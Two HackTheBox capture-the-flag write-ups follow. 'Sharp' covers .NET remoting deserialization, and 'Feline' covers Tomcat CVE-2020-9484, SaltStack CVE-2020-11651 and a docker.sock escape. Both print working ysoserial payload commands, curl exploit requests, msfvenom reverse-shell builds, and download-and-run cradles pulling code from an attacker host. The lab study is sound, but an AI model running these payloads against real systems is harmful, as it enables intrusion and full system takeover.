Hackthebox - Sharp Writeup

 System Summary

Initial Enumeration

Nmap scan reveals some classic Windows services open

There are some shares:

The kanban share is publicly available:

Enum4linux doesn't show anything valuable. 

Port 8888 seems interesting but connecting to it, it seems that it doesn't reply... 

Or better: sending to it some input it doesn't reply readable text but from tcpdump we see that it replies an Authentication failure.

It seems that there is a .NET client server  application running on it.

It's time to analyze the Kanban application in a Windows machine.

We will need a windows machine with visual studio to proceed

Opening the executable portablekanban.exe with iLSpy we can look into the code.
We can find that it stores the users and their encrypt password in the portablekanban.pk3 file.

Looking deeper we see that uses default crypto in .NET (= DES encryption) and we can also find the Initialization Vector (IV): XuVUm5fR

And we also find the DES Key: 7ly6UznJ

Opening the file PortableKanban.pk3 we see the encrypted passwords for user lars and administrator:

Now that we have all the pieces we can use CyberChef to find the two passwords:

• Administrator: G2@$btRSHJYTarg
• Lars: G123HHrth234rRG

We can also double check them by opening the application:

We have now access to the share \\10.10.10.219\dev which contains a couple of executables and a dll.

Opening the server.exe with iLSpy we see that it listens on port 8888 (so it's the service we discovered with nmap) and it is using .NET remoting library. 

This is a library used to execute remote operations on a server by using a client that connects and make remote calls to procedures

Opening the client.exe we see some huicy information:

• Endpoint URL: tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint
• Username: debug
• Password: SharpApplicationDebugUserPassword123!

Looking on the Internet we can find a very interesting C# project from James Forshaw that can be used to send malicious content to server using .NET remoting library. 

This project is named ExploitRemotingService and can be easily found on github.

We have to get and compile it with visual studio (community edition is ok).

We will now have an executable named ExploitRemotingServices.exe that will connect to the remote service and send a specially crafted payload (we still have to build it)

User Flag

Next step is to create a proof of concept of payload, like a ping request.

We can use ysoserial, famous tool to create payloads

ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c " ping 10.10.14.10"

it will output a long base64 string:

We have to coyp/paste the payload and use it for ExploitRemotingServices.exe 

At the same time we can monitor the netowork with wireshark.

The command line is

ExploitRemotingServices.exe -s --rev=4 --password="SharpApplicationDebugUserPassword123!"  --user=debug tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw <ysoserial payload>

We are able to receive ICMP request from the sharp box: this means that our payload was executed.

Next step is to change the payload from a ping to a reverse shell

Here we need to choose a good reverse shell. After some effort we can grab a good powershell reverse shell here: https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1 

We have to customize the first line with our IP address and port. We can also rename the file to rev.txt to avoid filters.

Once done we have to start a local python http server to serve this rev.txt (the usual python http.server or SimpleHTTPServer listening on port 8000)

Then create the reverse shell with ysoserial

ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c " powershell IEX (New-object net.webclient).Downloadstring('http://10.10.14.10:8000/rev.txt')"

It will output a long base64 payload that we can copy

Then we can execute a netcat listener (right window) and run again the exploit ExploitRemotingServices.exe (on the left)

We receive a shell as user lars and we can get the user flag.

Root Flag

Once inside as lars users we can see that there is an additional service running on port 8889.

The source code is in c:\users\lars\documents\wcf

If we transfer the folder to our computer we can open it in visual studio and see the client part:

It opens a connection and sends three request:

• client.getdiskInfo();
• client.getCPUInfo();
• client.getRamInfo();

We can add a fourth request with our commands and recompile the client.

The request we can add is similar to the previous powershell command, this time we download the file rev2.txt, which is customized to create a reverse shell on port 5555

We have to compile the client and look in the binary folder of the projects.

There will be two file WcfClient.exe and WcfRemotingLibrary.dll

We have to transfer them to the sharp box with 

certutil -urlcache -f http://10.10.14.10:8000/WcfClient.exe c:\temp\WfcClient.exe

certutil -urlcache -f http://10.10.14.10:8000/WcfRemotingLIbrary.exe c:\temp\WcfRemotingLibrary.dll

Now we have to open a netcat on port 5555 (on the left) and execute the WcfClient.exe (on the right)

We should receive a shell as system user and then get the root flag.

HackTheBox - Feline Writeup

 System Summary

Initial Enumeration

Nmap scan reveals only port 8080 open where a Tomcat version 9.0.27

The webpage http://10.10.10.205 doesn't lead to anything,

However, looking at the webpage source (or using a scanning tool like dirbuster) we can find the section

http://10.10.10.205/service.

This gives us the opportunity to upload files.

Let's try to upload something while intercepting the request with Burp: below an example of an upload of file named "word"

The response by Tomcat is not very useful: it just says "Upload Successful" or "Unsuccessful": we eould like to know where the uploaded files are stored.

This because there's an interesting RCE vulnerability CVE-2020-9484 (Here a great article that explains both vulnerability and exploiting process). One of the prerequisites is to know.

Let's try to tamper with the request with Burp repeater.

After some retries we can find that omitting the filename in the requests, the Java backend goes in error disclosing the path where files get stored (/opt/samples/uploads)

 

Initial Foothold

Now that we have the path we can follow the exploiting process: as first step let's see if we can do a POC just using ping back to our machine.

First we have to prepare a payload with ysoserial using the CommonCollections2 gadget and storing it in the file ping.session

java -jar ysoserial-master-138dc36bd2-1.jar  CommonsCollections2  'ping -c 5 10.10.16.78' > ping.session

Next we have to upload the file ping.session with this command:

 curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/anything" -F 'image=@ping.session'

If everything is OK a file named ping will be stored in /opt/samples/uploads

Then trigger the deserialization call

 curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/ping"

And the result is :

OK! The RCE works.

Next we can try to execute netcat shell or similar payloads: unfortunately ysoserial payloads don't work as expected.

As explained in some articles, java doesn't like payloads containing pipes, redirection or more shell commands separated by ;

Therefore we have to use single and simple commands.

Let's follow this 

• Build a reverse tcp shell executable with msfvenom
• Publish it on our computer 
• Create a payload with ysoserial that download its to /tmp/payload (wget)
• Create a payload with ysoserial that makes /tmp/payload executable (chmod)
• Create a payload with ysoserial that executes  /tmp/payload  
• Open a netcat listener
• Execute the exploit process to above three payloads in sequence

First we build the executable payload

msfvenom -p linux/x86/shell_reverse_tcp LPORT=4445 LHOST=10.10.16.78 -f elf > /var/www/html/payload

Then we create three payloads with ysoserial:

wget

java -jar ysoserial-master-138dc36bd2-1.jar CommonsCollections2 'wget http://10.10.16.78:4444/payload -O /tmp/payload' > wget.session

chmod

java -jar ysoserial-master-138dc36bd2-1.jar CommonsCollections2 'chmod +x /tmp/payload' > chmod.session 

execute the downloaded payload

Then trigger the vulnerability three times to execute the three commands:

Upload wget file

curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/wget" -F 'image=@wget.session'

Execute wget 

curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/wget"

Upload chmod file

curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/chmod" -F 'image=@chmod.session'

Execute chmod

curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/chmod"

Upload execute file

curl -v  --co curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/exec" -F 'image=@exec.session'

Exec exute file

curl -v  --co curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/exec"

The result is: 

We get a shell as tomcat user and the user flag for free, also.

Further Escalation

With the usual enumeration we can't find anything interesting to escalate to root.

However we can find we're in a container and there are some services that are listening locally:

The two port 4505 and 4506 looks very interesting: they're used by Salt Stack and we might try a well known RCE CVE-2020-11651

But how can we reach this port? This is listening on localhost. 

One way is to compile and upload the exeploit. 

The easier way chisel, a tunneling program that works in a similar way as ssh tunnel but without the need to create accounts and logins.

We just have to download chisel on both attacking machine and container instance.

Then start a chisel listener session on our attacking machine:

chisel server -p 8000 --reverse

Then start the other end of tunnel in the docker container with the client part.

./chisel client 10.10.16.78:8000 R:4506:127.0.0.1:4506

The option R:4506:127.0.0.1:4506 is similar to SSH tunnel syntax: the traffic coming through the tunnel is to be sent to 127.0.0.1:4506. 

We can now direct our exploit to our 127.0.0.1:8000 and it will be sent to Saltstack service running in the docker container.

Luckily there's a great module in Metasploit named saltstack_unath_rce

We can use it to get a root shell in the container 

Root Escalation

Unfortunately the root folder doesn't have the root flag: we have to evade from the container and access the hosts.

The interesting thing here is that the container exposes the docker socket file /var/run/docker.sock

This is a bad idea because it's a channel that we can use to control other containers.

Since the container itself doesn't have the docker executable, let's download the docker executable from an ubuntu/kali system (our machine, for example) 

Then we can run docker commands inside the container and manage dockers running on the host.
As an example we can show which containers are running (our own) identifying its ID and image

Once we have the image ID we can run another container of the same image, mapping the / filesystem of host inside a folder (/mnt) and execute a chroot inside /mnt, adding the interactive mode with -ti

./docker container run --rm -it --privileged --net=host --pid=host --volume /:/mnt 188a2704d8b0 chroot /mnt

With this result:

We have a shell in the / of the host itself.

We can then get the root flag.